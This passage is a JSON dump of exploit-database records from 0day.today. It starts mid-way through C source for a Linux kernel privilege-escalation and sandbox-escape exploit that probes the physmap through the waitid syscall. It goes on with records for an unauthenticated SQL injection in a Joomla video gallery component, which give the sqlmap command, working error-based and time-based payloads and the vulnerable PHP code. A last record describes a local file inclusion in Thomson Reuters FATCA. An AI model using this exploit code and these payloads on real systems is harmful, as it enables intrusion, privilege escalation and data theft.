0x1000)) {\r\n perror(\"mlock\");\r\n }\r\n printf(\"page locked!\\n\");\r\n return &mapping_base[i];\r\n }\r\n }\r\n return 0;\r\n}\r\n \r\nvoid get_physmap(struct PagePair *pp) {\r\n // mmap a large amount of memory\r\n // have one thread watch for changes, while we try overwriting it in the kernel's physmap\r\n // lock the page in when it's found\r\n unsigned long base = 0x100000000;\r\n mapping_base = (char*)base;\r\n \r\n long* a = mmap((void*)base, 0x10000000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);\r\n if ((long)a == -1) {\r\n printf(\"mmap failed\\n\");\r\n perror(\"mmap\");\r\n exit(-1);\r\n }\r\n printf(\"mapped %p\\n\", a);\r\n memset(a, 0x41, 0x10000000);\r\n \r\n done_locking = 0;\r\n int j = 0;\r\n for(j = 0; j < 4; j++) {\r\n pthread_t th1;\r\n if(pthread_create(&th1, NULL, mlock_thread, NULL)) {\r\n printf(\"mlock thread create error\\n\");\r\n exit(0);\r\n }\r\n }\r\n \r\n // try to find it in physmap\r\n unsigned long curr_guess = mapping_begin-0x80000000;\r\n printf(\"trying to find physmap mapping\\n\");\r\n while(1) {\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno != 14) {\r\n printf(\"found mapping at %p\\n\", (void*)curr_guess);\r\n curr_guess += 0x80000000;\r\n break;\r\n }\r\n curr_guess += 0x10000000;\r\n }\r\n // try to find physmap\r\n long *locked_mapping = NULL;\r\n long *locked_kernel_mapping = NULL;\r\n while(1) {\r\n // this has 6 0's to ensure that we end up with an address containing only 5 non-zero vals\r\n curr_guess += 0x1000000;\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess, WEXITED, NULL);\r\n if (locked_mapping = mapping_changed()) {\r\n locked_kernel_mapping = (long*)curr_guess;\r\n printf(\"detected change at %p\\n\", (void*)curr_guess);\r\n break;\r\n }\r\n }\r\n \r\n // verify lock worked\r\n locked_mapping[0] = 0x41414141;\r\n syscall(SYS_waitid, P_ALL, 0, locked_kernel_mapping, WEXITED, NULL);\r\n syscall(SYS_waitid, P_ALL, 0, &locked_kernel_mapping[100], WEXITED, NULL);\r\n if (locked_mapping[0] != 0 || locked_mapping[100] != 0) {\r\n printf(\"second write didn't work...\");\r\n }\r\n printf(\"physmap addr is good\\n\");\r\n if(pp) {\r\n pp->userland_page = (unsigned long)locked_mapping;\r\n pp->kernel_page = (unsigned long)locked_kernel_mapping;\r\n }\r\n done_locking = 1;\r\n \r\n}\r\n \r\nint main() {\r\n \r\n install_mock_chrome_sandbox();\r\n \r\n setvbuf(stdout, NULL, _IONBF, 0);\r\n srand(time(NULL));\r\n \r\n // set thread size smaller\r\n pthread_attr_init(&thread_attr);\r\n if(pthread_attr_setstacksize(&thread_attr, 0x10000)) {\r\n printf(\"set stack size error\\n\");\r\n return 0;\r\n }\r\n \r\n // get cpuid info so we know size of task_struct\r\n int eax,ebx,ecx,edx;\r\n eax=0xd;\r\n ebx = ecx = edx = 0;\r\n native_cpuid(&eax, &ebx, &ecx, &edx);\r\n int xsave_size = ebx;\r\n \r\n if(xsave_size == 0x340) {\r\n spray_offset = 0x55dd00;\r\n printf(\"for spray assuming task struct size is 5952\\n\");\r\n }\r\n else if(xsave_size == 0x440) {\r\n spray_offset = 0x5448c0;\r\n printf(\"for spray assuming task struct size is 6208\\n\");\r\n }\r\n else {\r\n printf(\"unknown xsave size... exiting since I don't know have the offsets hardcoded for that task save\\n\");\r\n return 0;\r\n }\r\n printf(\"check in /sys/kernel/slab/task_struct/object_size to make sure this is right\\n\");\r\n printf(\"If it's wrong the exploit will fail\\n\");\r\n \r\n unsigned long base = get_base();\r\n if (base == -1) {\r\n return -1;\r\n }\r\n \r\n unseccomp();\r\n return 0;\r\n \r\n}\n\n# 0day.today [2018-01-02] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/28966"}, {"lastseen": "2018-04-12T03:50:44", "references": [], "description": "Exploit for php platform in category web applications", "edition": 1, "reporter": "Larry Cashdollar", "published": "2017-08-31T00:00:00", "title": "Joomla Huge-IT Video Gallery 1.0.9 Component - SQL Injection Vulnerability", "type": "zdt", "enchantments": {"score": {"modified": "2018-04-12T03:50:44", "vector": "AV:N/AC:M/Au:M/C:N/I:N/A:N/", "value": 0.0}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2016-10001"], "modified": "2017-08-31T00:00:00", "id": "1337DAY-ID-28408", "href": "https://0day.today/exploit/description/28408", "sourceData": "# Exploit Title Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla\r\n# Google Dork: [if applicable] \r\n# Date: 2016-09-15\r\n# Exploit Author: Larry W. Cashdollar, @_larry0\r\n# Vendor Homepage: http://huge-it.com/joomla-video-gallery/\r\n# Software Link: \r\n# Version: 1.0.9\r\n# Tested on: Linux\r\n# CVE : CVE-2016-1000123\r\n# Advisory: http://www.vapidlabs.com/advisory.php?v=169\r\n# Exploit:\r\n \u2022 $ sqlmap -u 'http://server/components/com_videogallerylite/ajax_url.php' --data=\"page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2\"\r\n \u2022 .\r\n \u2022 .\r\n \u2022 .\r\n \u2022 (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] \r\n \u2022 sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:\r\n \u2022 ---\r\n \u2022 Parameter: #1* ((custom) POST)\r\n \u2022 Type: error-based\r\n \u2022 Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\r\n \u2022 Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2\r\n \u2022 \r\n \u2022 Type: AND/OR time-based blind\r\n \u2022 Title: MySQL >= 5.0.12 time-based blind - Parameter replace\r\n \u2022 Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2\r\n \u2022 ---\r\n \u2022 [19:36:55] [INFO] the back-end DBMS is MySQL\r\n \u2022 web server operating system: Linux Debian 8.0 (jessie)\r\n \u2022 web application technology: Apache 2.4.10\r\n \u2022 back-end DBMS: MySQL >= 5.0.12\r\n \u2022 [19:36:55] [WARNING] HTTP error codes detected during run:\r\n \u2022 500 (Internal Server Error) - 2714 times\r\n \u2022 [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'\r\n \u2022 \r\n \u2022 [*] shutting down at 19:36:55\n\n# 0day.today [2018-04-12] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/28408"}, {"lastseen": "2018-01-01T18:58:46", "references": [], "description": "Exploit for php platform in category web applications", "edition": 2, "reporter": "Larry Cashdollar", "published": "2016-09-22T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "zdt", "title": "Joomla Huge-IT Video Gallery 1.0.9 Component - SQL Injection Vulnerability", "bulletinFamily": "exploit", "cvelist": [], "modified": "2016-09-22T00:00:00", "id": "1337DAY-ID-24807", "href": "https://0day.today/exploit/description/24807", "sourceData": "Title: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla\r\nAuthor: Larry W. Cashdollar, @_larry0\r\nDate: 2016-09-15\r\nDownload Site: http://huge-it.com/joomla-video-gallery/\r\nVendor: www.huge-it.com, fixed v1.1.0\r\nVendor Notified: 2016-09-17\r\nVendor Contact: [email\u00a0protected]\r\nDescription: A video slideshow gallery.\r\nVulnerability:\r\nThe following code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php. \r\n \r\nVulnerable Code in : ajax_url.php\r\n \r\n 11 define('_JEXEC',1);\r\n 12 defined('_JEXEC') or die('Restircted access');\r\n.\r\n.\r\n.\r\n 28 if($_POST['task']==\"load_videos_content\"){\r\n 29 \r\n 30 $page = 1;\r\n 31 \r\n 32 \r\n 33 if(!empty($_POST[\"page\"]) && is_numeric($_POST['page']) && $_POST['page']>0){\r\n 34 $paramssld='';\r\n 35 $db5 = JFactory::getDBO();\r\n 36 $query5 = $db->getQuery(true);\r\n 37 $query5->select('*');\r\n 38 $query5->from('#__huge_it_videogallery_params');\r\n 39 $db->setQuery($query5);\r\n 40 $options_params = $db5->loadObjectList();\r\n 41 foreach ($options_params as $rowpar) {\r\n 42 $key = $rowpar->name;\r\n 43 $value = $rowpar->value;\r\n 44 $paramssld[$key] = $value;\r\n 45 }\r\n 46 $page = $_POST[\"page\"];\r\n 47 $num=$_POST['perpage'];\r\n 48 $start = $page * $num - $num;\r\n 49 $idofgallery=$_POST['galleryid'];\r\n 50 \r\n 51 $query = $db->getQuery(true);\r\n 52 $query->select('*');\r\n 53 $query->from('#__huge_it_videogallery_videos');\r\n 54 $query->where('videogallery_id ='.$idofgallery);\r\n 55 $query ->order('#__huge_it_videogallery_videos.ordering asc');\r\n 56 $db->setQuery($query,$start,$num);\r\n \r\nCVE-2016-1000123\r\nExploit Code:\r\n aC/ $ sqlmap -u 'http://server/components/com_videogallerylite/ajax_url.php' --data=\"page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2\" --level=5 --risk=3\r\n aC/ .\r\n aC/ .\r\n aC/ .\r\n aC/ (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] \r\n aC/ sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:\r\n aC/ ---\r\n aC/ Parameter: #1* ((custom) POST)\r\n aC/ Type: error-based\r\n aC/ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\r\n aC/ Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2\r\n aC/ \r\n aC/ Type: AND/OR time-based blind\r\n aC/ Title: MySQL >= 5.0.12 time-based blind - Parameter replace\r\n aC/ Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2\r\n aC/ ---\r\n aC/ [19:36:55] [INFO] the back-end DBMS is MySQL\r\n aC/ web server operating system: Linux Debian 8.0 (jessie)\r\n aC/ web application technology: Apache 2.4.10\r\n aC/ back-end DBMS: MySQL >= 5.0.12\r\n aC/ [19:36:55] [WARNING] HTTP error codes detected during run:\r\n aC/ 500 (Internal Server Error) - 2714 times\r\n aC/ [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'\r\n aC/ \r\n aC/ [*] shutting down at 19:36:55\r\nAdvisory: http://www.vapidlabs.com/advisory.php?v=169\n\n# 0day.today [2018-01-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/24807"}, {"lastseen": "2018-02-16T07:10:13", "references": [], "description": "Exploit for hardware platform in category web applications", "edition": 2, "reporter": "Jakub Palaczynski", "published": "2015-08-16T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "zdt", "title": "Thomson Reuters FATCA v5.1.0.30 - Local File Inclusion Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-5952"], "modified": "2015-08-16T00:00:00", "id": "1337DAY-ID-24059", "href": "https://0day.today/exploit/description/24059", "sourceData": "Title: Thomson Reuters FATCA - Local File Inclusion\r\nAuthor: Jakub Pa\u0142aczy\u0144ski\r\nDate: 10. June 2015\r\nCVE: CVE-2015-5952\r\n\r\nAffected software:\r\n==================\r\n\r\nAll versions of Thomson Reuters FATCA below v5.2\r\n\r\nExploit was tested on:\r\n======================\r\n\r\nThomson Reuters FATCA v5.1.0.30\r\n\r\nDescription:\r\n============\r\n\r\nThe Thomson Reuters for FATCA solution enables organizations to comply with\r\nthe key requirements of both CRS and FATCA.[1]\r\n\r\n\r\nVulnerabilities:\r\n****************\r\n\r\nLocal File Inclusion:\r\n============================================\r\n\r\nApplication's parameter \"item\" is vulnerable to Local File Inclusion, which\r\nmakes it possible to include application/system files.\r\nUsing this vulnerability FATCA users can for example include uploaded PHP\r\nfiles (upload directory can be retrieved from the application's error\r\nmessage) and execute system commands.\r\n\r\nReferences:\r\n===========\r\n\r\n[1] Overview:\r\nhttps://risk.thomsonreuters.com/products/thomson-reuters-fatca\n\n# 0day.today [2018-02-16] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/24059"}]}}